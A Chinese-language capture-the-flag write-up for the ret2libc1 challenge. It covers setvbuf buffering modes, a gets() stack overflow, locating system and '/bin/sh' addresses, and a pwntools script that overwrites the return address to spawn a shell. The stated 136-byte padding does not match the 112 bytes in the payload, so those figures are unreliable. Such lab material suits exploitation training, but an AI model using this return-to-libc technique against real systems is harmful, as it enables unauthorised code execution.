1.setvbuf
函数 int setvbuf([FILE](*stream, char *buf, int type, unsigned size)
参数:
stream
:指向流的指针 ;
buf
: 期望缓冲区的地址;
type
: 期望缓冲区的类型:
_IOFBF(满缓冲):当缓冲区为空时,从流读入数据。或者当缓冲区满时,向流写入数 据。
_IOLBF(行缓冲):每次从流中读入一行数据或向流中写入一行数据。
_IONBF(无缓冲):直接从流中读入数据或直接向流中写入数据,而没有缓冲区。
size
: 缓冲区内字节的数量
分析
图片.png
1.通过查看源码,我们知道在 gets
函数处出现了漏洞
2.在终端里使用gef调试查看栈空间的大小 registers
命令
图片.png
栈空间的大小:
136
个字节我们需要找到我们输入字节的地方:
图片.png
V4
是我们输入字节的地方思路
:关于
libc
的文件,我们通常先查找/bin/sh
字符串和system
函数。我们在
IDA
中通过ctrl+f
搜索system
函数。我们通过shift+f12
调出窗口。我们查找/bin/sh
字符串。system =
0x08048460
/bin/sh =
0x08048720
填充字节的大小 =
136 byte
数据填写的开始地方 =
布局
from pwn import *
sh = process('./ret2libc1') 运行
binsh_add = 0x08048720
system_plt = 0x08048460
payload = flat(['A'*112,system_plt,'B'*4,binsh_add])
sh.sendline(payload)
sh.interactive()
补充。在填写数据的时候,先填写垃圾,在调用函数,在返回到我的返回地址(‘B’*4
:充当的是虚拟的返回地址。我们只要控制在8个字节里就ok!)。在填写我们需要压入栈中的/bin/sh